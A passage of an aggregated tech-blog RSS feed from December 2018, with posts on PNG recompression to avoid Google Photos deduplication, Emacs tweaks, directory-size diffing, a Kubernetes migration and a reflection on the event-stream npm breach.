&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;pixel_alt1.png&lt;/code&gt; looks like a good candidate, let's see what changed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;diff&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;./pngview.py&lt;span class="w"&gt; &lt;/span&gt;pixel.png&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;./pngview.py&lt;span class="w"&gt; &lt;/span&gt;pixel_alt1.png&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;20&lt;/span&gt;,21c20,21
&amp;lt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x08\x1dc`\x00\x00\x00\x02\x00\x01'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&amp;lt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3486004709&lt;/span&gt;
---
&amp;gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;b&lt;span class="s1"&gt;'\x08[c`\x00\x00\x00\x02\x00\x01'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&amp;gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1648381800&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;There's the same amount of data, but it's different. Let's check if it decompresses to the same
image data:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;zlib&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x08\x1d&lt;/span&gt;&lt;span class="s1"&gt;c`&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x02\x00\x01&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00\x00&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decompress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x08&lt;/span&gt;&lt;span class="s1"&gt;[c`&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x02\x00\x01&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00\x00&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Yep, this means that &lt;a href=""&gt;pixel_alt1.png&lt;/a&gt; is the exact same image with the exact same size, but won't
be deduplicated when uploading it to Google Photos since the compressed data is different.&lt;/p&gt;
&lt;h2&gt;Final touches&lt;/h2&gt;
&lt;p&gt;Now that we have 2 different tiny images, we can upload them to Google Photos and put them in an
album so they can be pulled down by the Chromecast. Something to note is that you may have to mark
the images as favorites to get them to be displayed. There seems to be some sort of AI-fueled "we
know better than you" algorithm that initially refused to display my images until I starred them.&lt;/p&gt;
&lt;p&gt;Now just set your ambient mode to display the album with your images in it (or your favorites
album), set the slideshow speed to its maximum value (change image every 10 mins), and you're done.&lt;/p&gt;</description><author>Carey Metcalfe</author><pubDate>Tue, 11 Dec 2018 05:50:00 GMT</pubDate><guid isPermaLink="true">https://cmetcalfe.ca/blog/reducing-chromecast-idle-bandwidth.html</guid></item><item><title>From bare-metal to Kubernetes</title><link>https://boxunix.com/2018/12/10/from-bare-metal-to-kubernetes/</link><description>&lt;div id="preamble"&gt;
&lt;div class="sectionbody"&gt;
&lt;div class="paragraph"&gt;
&lt;p&gt;How migrating &lt;a href="https://www.betabrand.com"&gt;Betabrand&lt;/a&gt;'s bare-metal infrastructure to a Kubernetes cluster hosted on Google Container Engine solved many engineering issues—​from hardware failures, to lack of scalability of our production services, complex configuration management and highly heterogeneous development-staging-production environments—​and allowed us to achieve a reliable, available and scalable infrastructure.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="paragraph"&gt;
&lt;p&gt;This post will walk you through the many infrastructure changes and challenges Betabrand met from 2011 to 2018.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonitionblock note"&gt;
&lt;table&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td class="icon"&gt;
&lt;div class="title"&gt;Note&lt;/div&gt;
&lt;/td&gt;
&lt;td class="content"&gt;
&lt;div class="paragraph"&gt;
&lt;p&gt;&lt;a href="https://www.betabrand.com"&gt;Betabrand&lt;/a&gt; is a retail clothing company and crowdfunding platform, based in San Francisco.&lt;/p&gt;
&lt;/div&gt;</description><author>Boxunix</author><pubDate>Tue, 11 Dec 2018 03:02:32 GMT</pubDate><guid isPermaLink="true">https://boxunix.com/2018/12/10/from-bare-metal-to-kubernetes/</guid></item><item><title>Scam bookmarks</title><link>https://xenodium.com/scam-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.419eater.com/"&gt;419 Eater - The largest scambaiting community on the planet!&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=18577734"&gt;The little black book of scams (2016) (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.accc.gov.au/publications/the-little-black-book-of-scams"&gt;The little black book of scams (ACCC)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 11 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/scam-bookmarks</guid></item><item><title>Passive income bookmarks</title><link>https://xenodium.com/passive-income-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.redbubble.com"&gt;Awesome products designed by independent artists (Redbubble)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kit.com/pjrvs/gear-for-recording-videos-and-doing-interviews"&gt;Kit (Paul Jarvi's recording gear)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/AmazonMerch/"&gt;Merch By Amazon Discussion (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://teespring.com/"&gt;Teespring&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thesavingninja.com/what-is-merch-by-amazon/"&gt;What is Merch By Amazon?&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 11 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/passive-income-bookmarks</guid></item><item><title>About</title><link>https://ferrucc.io/about/</link><description>&lt;p&gt;I&amp;rsquo;m Ferruccio Balestreri&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve founded and was the CTO at &lt;a href="https://june.so"&gt;June&lt;/a&gt;. Before that I worked at Intercom as an engineer.&lt;/p&gt;
&lt;p&gt;My hobby is to make &lt;a href="https://ferrucc.io/projects"&gt;small projects&lt;/a&gt; every couple of months I make something new to have fun and sharpen my skills.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Mon, 10 Dec 2018 15:31:50 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/about/</guid></item><item><title>Slow to respond through 2018</title><link>https://blog.harterrt.com/2018_slow_to_respond.html</link><description>&lt;p&gt;I'm working on an urgent and high priority request for the next few weeks.
To make sure I can finish this work in 2018
I'm &lt;strong&gt;limiting my meetings and communications&lt;/strong&gt; for the remainder of the year.&lt;/p&gt;
&lt;p&gt;Slack is good for getting my immediate attention,
but if your request takes more …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Mon, 10 Dec 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/2018_slow_to_respond.html</guid></item><item><title>Managing Remote Teams - A Crash Course</title><link>https://klinger.io/posts/managing-remote-teams-a-crash-course</link><description>Hey folks, I haven’t been blogging for quite some time, so everything is a bit rusty for me, but i thought this article might be u...</description><author>Blog posts of Andreas Klinger</author><pubDate>Mon, 10 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://klinger.io/posts/managing-remote-teams-a-crash-course</guid></item><item><title>Creating WebGL apps with Go</title><link>https://divan.dev/posts/webgl_go/</link><description>&lt;p&gt;&lt;em&gt;TL;DR In this article I&amp;rsquo;ll share my experience building an interactive 3D WebGL-based application for peer-to-peer messaging protocol simulation without writing any single line in JS. You&amp;rsquo;ll learn how GopherJS and Vecty framework can dramatically lower the complexity of building WebGL-enabled web apps in Go.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="demo" src="https://divan.dev/images/go-webgl/demo.gif" /&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s often said &amp;ldquo;A &lt;em&gt;picture&lt;/em&gt; is &lt;em&gt;worth a thousand&lt;/em&gt; words&amp;rdquo;, but in the era of high-DPI screens and big data, the new idiom is now truer – &lt;em&gt;&amp;ldquo;3D interactive visualization is worth a thousand pictures&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;</description><author>divan's blog</author><pubDate>Mon, 10 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://divan.dev/posts/webgl_go/</guid></item><item><title>XCat 1.0 released or: XPath injection issues are severely underrated</title><link>https://tomforb.es/blog/xcat-10/</link><description>I’ve just released xcat 1.0 and it’s demonstration application after like 5 years of on-off development. Feels good! The genesis of xcat was when my boss, Sid, walked up to me out of the blue and asked if I wanted to go on an all expenses paid trip to Amsterdam. Who the hell wouldn’t say yes to that...</description><author>Tom Forbes</author><pubDate>Sun, 09 Dec 2018 21:58:01 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/xcat-10/</guid></item><item><title>SSH Foo</title><link>https://jasoneckert.github.io/myblog/ssh-foo/</link><description>&lt;p&gt;Last week, I gave a presentation at a local LUG (which is a Linux User’s Group, for anyone who hasn’t heard of those before) on the subject of SSH Foo.&lt;/p&gt;
&lt;p&gt;In UNIX circles, we refer to tricks of the trade as “Kung Fu” or just “Fu” (which sounds rude), so it is spelled “Foo” ;-)&lt;/p&gt;
&lt;p&gt;In this blog post, I’ll summarize my SSH Foo talk! Be aware that this is not an introduction  to SSH, but a more advanced look at some interesting SSH features for those who are already comfortable with it. As such, I&amp;rsquo;ve kept to point form here to allow you to  skim to the parts you are most interested in!&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Sun, 09 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/ssh-foo/</guid></item><item><title>AT&amp;amp;T causes mDNS on Linux To Fail</title><link>https://porkrind.org/missives/att-causes-mdns-on-linux-to-fail/</link><description>Today my Jenkins builds were not working because all of the build slaves were offline. Digging around in the logs showed that the couldn&amp;#8217;t connect because of name resolution failures. I use mDNS on my network (the slaves are Mac OS X VMs running on a Mac Mini), and so they were named something like &amp;#8230; &lt;a class="more-link" href="https://porkrind.org/missives/att-causes-mdns-on-linux-to-fail/"&gt;Continue reading &lt;span class="screen-reader-text"&gt;AT&amp;#038;T causes mDNS on Linux To Fail&lt;/span&gt;&lt;/a&gt;</description><author>Missives</author><pubDate>Sat, 08 Dec 2018 17:44:53 GMT</pubDate><guid isPermaLink="true">https://porkrind.org/missives/att-causes-mdns-on-linux-to-fail/</guid></item><item><title>Calculating day of week and Easter date</title><link>http://www.strchr.com/calendar</link><description>A branchless code for calculating day of week, Easter date, and Jewish holidays.</description><author>strchr.com updates</author><pubDate>Sat, 08 Dec 2018 13:44:58 GMT</pubDate><guid isPermaLink="true">http://www.strchr.com/calendar</guid></item><item><title>DWIM ivy quit</title><link>https://xenodium.com/dwim-ivy-quit</link><description>&lt;p&gt;&amp;quot;Do-what-I-mean&amp;quot; (DWIM) functions enable us to introduce new Emacs powers to existing workflows without incurring the typical cost of remembering multiple related functions or introducing yet another key binding. DWIM functions invoke other functions, based on current context.&lt;/p&gt;
&lt;p&gt;I wanted a small tweak in Ivy's &lt;em&gt;`minibuffer-keyboard-quit'&lt;/em&gt; invocation, commonly invoked via &lt;em&gt;C-g&lt;/em&gt; key binding:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If we have text selected in minibuffer, deselect it.&lt;/li&gt;
&lt;li&gt;If we have any text in minibuffer, clear it.&lt;/li&gt;
&lt;li&gt;If no text in minibuffer, quit.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Added &lt;em&gt;`ar/ivy-keyboard-quit-dwim'&lt;/em&gt; for this purpose. Binding it to C-g in &lt;em&gt;ivy-minibuffer-map&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package ivy
  :ensure t
  :bind (:map ivy-minibuffer-map
              (&amp;quot;C-g&amp;quot; . ar/ivy-keyboard-quit-dwim))
  :config
  (defun ar/ivy-keyboard-quit-dwim ()
    &amp;quot;If region active, deactivate. If there's content, clear the minibuffer. Otherwise quit.&amp;quot;
    (interactive)
    (cond ((and delete-selection-mode (region-active-p))
           (setq deactivate-mark t))
          ((&amp;gt; (length ivy-text) 0)
           (delete-minibuffer-contents))
          (t
           (minibuffer-keyboard-quit)))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/dwim-ivy-quit/ivy-keybqoard-quit-dwim.gif" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 08 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/dwim-ivy-quit</guid></item><item><title>Content Negotiation &amp;amp; Phoenix</title><link>https://denvaar.dev/posts/content_negotiation_and_phoenix.html</link><description>A quick demo exploring how HTTP content negotiation works with Phoenix.</description><author>denvaar's website</author><pubDate>Fri, 07 Dec 2018 08:40:09 GMT</pubDate><guid isPermaLink="true">https://denvaar.dev/posts/content_negotiation_and_phoenix.html</guid></item><item><title>Using Mailgun for a Free Custom Domain Email Address</title><link>https://www.dannyguo.com/blog/using-mailgun-for-a-free-custom-domain-email-address</link><author>Danny Guo</author><pubDate>Fri, 07 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.dannyguo.com/blog/using-mailgun-for-a-free-custom-domain-email-address</guid></item><item><title>Editors, or The Tools of my Trade</title><link>https://lambdaland.org/posts/2018-12-06-editor-apology/</link><description>&lt;p&gt;I spend a fair portion of every day writing programs. As with all professions, using the right tools makes a huge difference in my productivity and general happiness. Having good tools helps me keep my gumption up.&lt;/p&gt;
&lt;p&gt;One of my favorite books is &lt;em&gt;Zen and the Art of Motorcycle Maintenance&lt;/em&gt;. Contrary to what the title suggests, this book is actually not about motorcycles. It’s about a lot of things; one topic is about tools and caring about your trade.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;… By far the most frustrating gumption trap is inadequate tools. Nothing’s quite so demoralizing as a tool hang-up. Buy good tools as you can afford them and you’ll never regret it.‌‌(ibid. p.g. 291)&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;For me, my most important tool is my text editor: manipulating source code is what I spend ALL DAY doing. I’ve selected &lt;a href="https://en.m.wikipedia.org/wiki/Emacs"&gt;Emacs&lt;/a&gt; as my primary text editor.&lt;/p&gt;
&lt;p&gt;Lots of programmers use what’s called an &lt;a href="https://en.m.wikipedia.org/wiki/Integrated_development_environment"&gt;IDE&lt;/a&gt; If programming were cooking, then an IDE would be a knife that has a sink, a strainer, and a toaster-oven built into it.&lt;/p&gt;
&lt;p&gt;I find IDE’s visually distracting. Everything is done with buttons that you click. Emacs has so much more screen devoted to content.&lt;/p&gt;
&lt;p&gt;Emacs and Vim &lt;em&gt;do&lt;/em&gt; have steeper learning curves. This is in part because the absence buttons make the features only discoverable via manuals. When working with an IDE, the presense of buttons hints at the existence of certain features.&lt;/p&gt;
&lt;p&gt;I find it a shame when people don&amp;rsquo;t read, prefering a video tutorial or the like. Emacs’s features are very discoverable, but not in the way most people are used to. The &lt;code&gt;apropos-function&lt;/code&gt; command is terribly useful—if you think a certain command &lt;em&gt;should&lt;/em&gt; exist, searching all available function names for a particular string has helped me find both what I&amp;rsquo;ve gone looking for, and what I didn&amp;rsquo;t know I wanted!&lt;/p&gt;
&lt;p&gt;The advantage to using keyboard only navigation is that hundreds of commands are immediately available all the time, without having to dig through menus or such. It takes me the same amount of time to access complicated commands as it does moving around a file.&lt;/p&gt;
&lt;p&gt;Again, from &lt;em&gt;Zen and the Art of Motorcycle&lt;/em&gt; &lt;em&gt;Maintenance:&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;…One of the first warning signs of impatience is frustration at not being able to lay your hand on the tool you need right away.‌‌(ibid. p.g. 286)&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Moving a mouse takes me out of my flow, which slows me down and leads to gumption traps. If something takes longer, I&amp;rsquo;m more reluctant to do it. That means my productivity drops.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Now, you might have used a word processor for text editing all your life. Or perhaps you&amp;rsquo;re comfortable with your IDE. I encourage you to stretch beyond what you&amp;rsquo;re comfortable with, and learn Emacs. An investment in a powerful text editor will change how you consider how you program. Editing will become more fluid, and the barrier of buttons and menus will fade away.&lt;/p&gt;
&lt;h2 id="learning-emacs"&gt;
  Learning Emacs
  &lt;a class="anchor" href="#learning-emacs"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;There is an index of learning resources &lt;a href="https://www.emacswiki.org/emacs/LearningEmacs"&gt;here&lt;/a&gt;. If you&amp;rsquo;re just looking for a cheat sheet, check &lt;a href="https://www.emacswiki.org/emacs/EmacsCrashCourse"&gt;this link&lt;/a&gt; out. Also, see &lt;a href="https://ashton.wiersdorf.org/emacs-tips-and-tricks/"&gt;my cheat sheet&lt;/a&gt;. (I update this one occasionally.)&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re coming from an IDE and miss feature X, you might be able to find the corresponding Emacs feature &lt;a href="https://www.emacswiki.org/emacs/EmacsForDevStudioUsers"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="picture-credit"&gt;
  Picture Credit
  &lt;a class="anchor" href="#picture-credit"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;I found this via a Google Image search; the origional file came from &lt;a href="https://batsov.com/articles/2011/11/11/blogging-like-a-hacker-evolution/"&gt;this blog post&lt;/a&gt;, which I think resonates with mine quite well.&lt;/p&gt;</description><author>Ashton Wiersdorf on Lambda Land</author><pubDate>Thu, 06 Dec 2018 08:02:09 GMT</pubDate><guid isPermaLink="true">https://lambdaland.org/posts/2018-12-06-editor-apology/</guid></item><item><title>Archive</title><link>https://grh.am/archive/</link><description/><author>Graham Stevens – Grh.am</author><pubDate>Wed, 05 Dec 2018 19:15:40 GMT</pubDate><guid isPermaLink="true">https://grh.am/archive/</guid></item><item><title>Bitlbee to Pleroma</title><link>https://rjp.is/blogging/posts/bitlbee-to-pleroma/</link><description>In which we talk to Pleroma through Bitlbee.</description><author>infrequent oscillations</author><pubDate>Wed, 05 Dec 2018 17:50:36 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/bitlbee-to-pleroma/</guid></item><item><title>Diffing directories content size</title><link>https://xenodium.com/diffing-directories-content-size</link><description>&lt;p&gt;Needed to diff two directories, but only interested in file size changes. diff, find, sort, and stat seem to do the job:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;diff &amp;lt;(find dir1 -type f -exec stat -f '%N %z' '{}' \; | sort) &amp;lt;(find dir2 -type f -exec stat -f '%N %z' '{}' \; | sort)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;1,3c1,2
&amp;lt; dir1/one.txt 14
&amp;lt; dir1/subdir/file.txt 5
&amp;lt; dir1/three.txt 7
---
&amp;gt; dir2/one.txt 19
&amp;gt; dir2/two.txt 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note: Using diff, find, sort, and stat on macOS.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Update 1&lt;/h2&gt;
&lt;p&gt;I've since learned about mtree (thanks &lt;a href="https://twitter.com/romanzolotarev/status/1070249301815771137"&gt;Roman&lt;/a&gt;!). A nice utility to add to the toolbox.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;mtree -p emacs-25.1 -c -k size -d
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;#    user: me
# machine: my-machine
#    tree: /path/to/emacs-25.1
#    date: Wed Dec  5 22:21:07 2018
# .
/set type=dir
.               size=1152
# ./admin
admin           size=960
# ./admin/charsets
charsets        size=544
# ./admin/charsets/glibc
glibc           size=3392
# ./admin/charsets/glibc
..
# ./admin/charsets/mapfiles
mapfiles        size=640
# ./admin/charsets/mapfiles
..
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Update 2&lt;/h2&gt;
&lt;p&gt;I've added Emacs ediff to the mix:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(require 'f)

(defun ar/ediff-dir-content-size ()
    &amp;quot;Diff all subdirectories (sizes only) in two directories.&amp;quot;
    (interactive)
    (let* ((dir1-path (read-directory-name &amp;quot;Dir 1: &amp;quot;))
           (dir2-path (read-directory-name &amp;quot;Dir 2: &amp;quot;))
           (buf1 (get-buffer-create (format &amp;quot;*Dir 1 (%s)*&amp;quot; (f-base dir1-path))))
           (buf2 (get-buffer-create (format &amp;quot;*Dir 2 (%s)*&amp;quot; (f-base dir2-path)))))
      (with-current-buffer buf1
        (erase-buffer))
      (with-current-buffer buf2
        (erase-buffer))
      (shell-command (format &amp;quot;cd %s; find . -type d | sort | du -h&amp;quot; dir1-path) buf1)
      (shell-command (format &amp;quot;cd %s; find . -type d | sort | du -h&amp;quot; dir2-path) buf2)
      (ediff-buffers buf1 buf2)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/diffing-directories-content-size/ediff-dir-content-size.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 05 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/diffing-directories-content-size</guid></item><item><title>I don’t know what to say…</title><link>/dont-know/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/githubscreenshot.png" /&gt;
&lt;/div&gt;
&lt;p&gt;The issue raised for the event-stream breach. It’s a grizzly flame war that I would not recommend reading&lt;/p&gt;
&lt;p&gt;I’m a little late to the party here but after having a couple of conversations at work and with others I wanted to document my thoughts on the recent security issues around the &lt;a href="https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident"&gt;event stream npm package&lt;/a&gt; which was used by lots of popular packages such as nodemon.&lt;/p&gt;
&lt;p&gt;Surrounding this controversy was many questions about vetting packages more carefully as well as the tendency for node developers to just have a package for basic functionality they could implement themselves (looking at your left-pad).&lt;/p&gt;
&lt;p&gt;Whilst all these questions are valid and worth discussing, this is not what I wanted to talk about in this blog post.&lt;/p&gt;
&lt;p&gt;I want to talk about giving back to open source.&lt;/p&gt;
&lt;p&gt;Most notably around all the discussion around why the original author handed over ownership to “some random”. People questioning how “dare” the author hand over ownership. Others even suggest a conspiracy between the package author and the perpetrator.&lt;/p&gt;
&lt;p&gt;I had co-workers approach me saying they couldn’t believe someone did that and how it was “stupid” to hand over permissions to another person.&lt;/p&gt;
&lt;p&gt;But was it “stupid” to do so? Well no.&lt;/p&gt;
&lt;p&gt;This is open source software that is completely free. It was relied on by hundreds of packages and it alone had over &lt;a href="https://npm-stat.com/charts.html?package=event-stream"&gt;76M downloads&lt;/a&gt;. Yet, despite being depended on so much, it was not financially backed and was a labour of love — as so many open source projects are.&lt;/p&gt;
&lt;p&gt;When you are a maintainer of a project, especially if it is popular, there may be many issues but not enough time to fix them. People often simply complain that the free tool they are using often for enterprise software is not working. I myself have handed across ownership of a project and given them full write access. I still take a look at PR’s every now and again but for all intents and purposes, it is their package. I was originally contacted when someone &lt;a href="https://github.com/OTRChat/NodeChat/issues/31"&gt;posted an issue&lt;/a&gt; about how they wanted to work on it for a class project, I was delighted! Someone wanted to actually spend their time working on a project I originally authored. It never even cross my mind that they would do anything malicious and even if I did, in the politest way possible — it’s not my problem.&lt;/p&gt;
&lt;p&gt;Rather than looking at this malicious package and thinking you either need to abandon node js or reject the whole concept of open source, &lt;strong&gt;show appreciation for the packages you use.&lt;/strong&gt; Maybe get your company to give back either by either donating development time or financial resources to it. All other assets in a business are paid for — so why shouldn’t the underlying pieces of your code base be? It is as black and white as this — if the npm library disappeared, a lot of companies would be in serious trouble, yet only a small fraction of libraries receive support.&lt;/p&gt;
&lt;p&gt;It is comforting to know that the node ecosystem is not isolated to this issue. Just last year, Equifax &lt;a href="https://www.theregister.co.uk/2017/10/02/equifax_ceo_richard_smith_congressional_testimony/"&gt;blamed Apache struts&lt;/a&gt; for a breach to their entire customer base. Apache had fixed the issue but they had failed to update their servers — yet blame was still pinned to that project. From my research, I can find no record of them donating to or sponsoring the Apache foundation — yet their &lt;a href="https://www.marketwatch.com/investing/stock/efx/financials"&gt;net income last year was $587M&lt;/a&gt;.&lt;/p&gt;
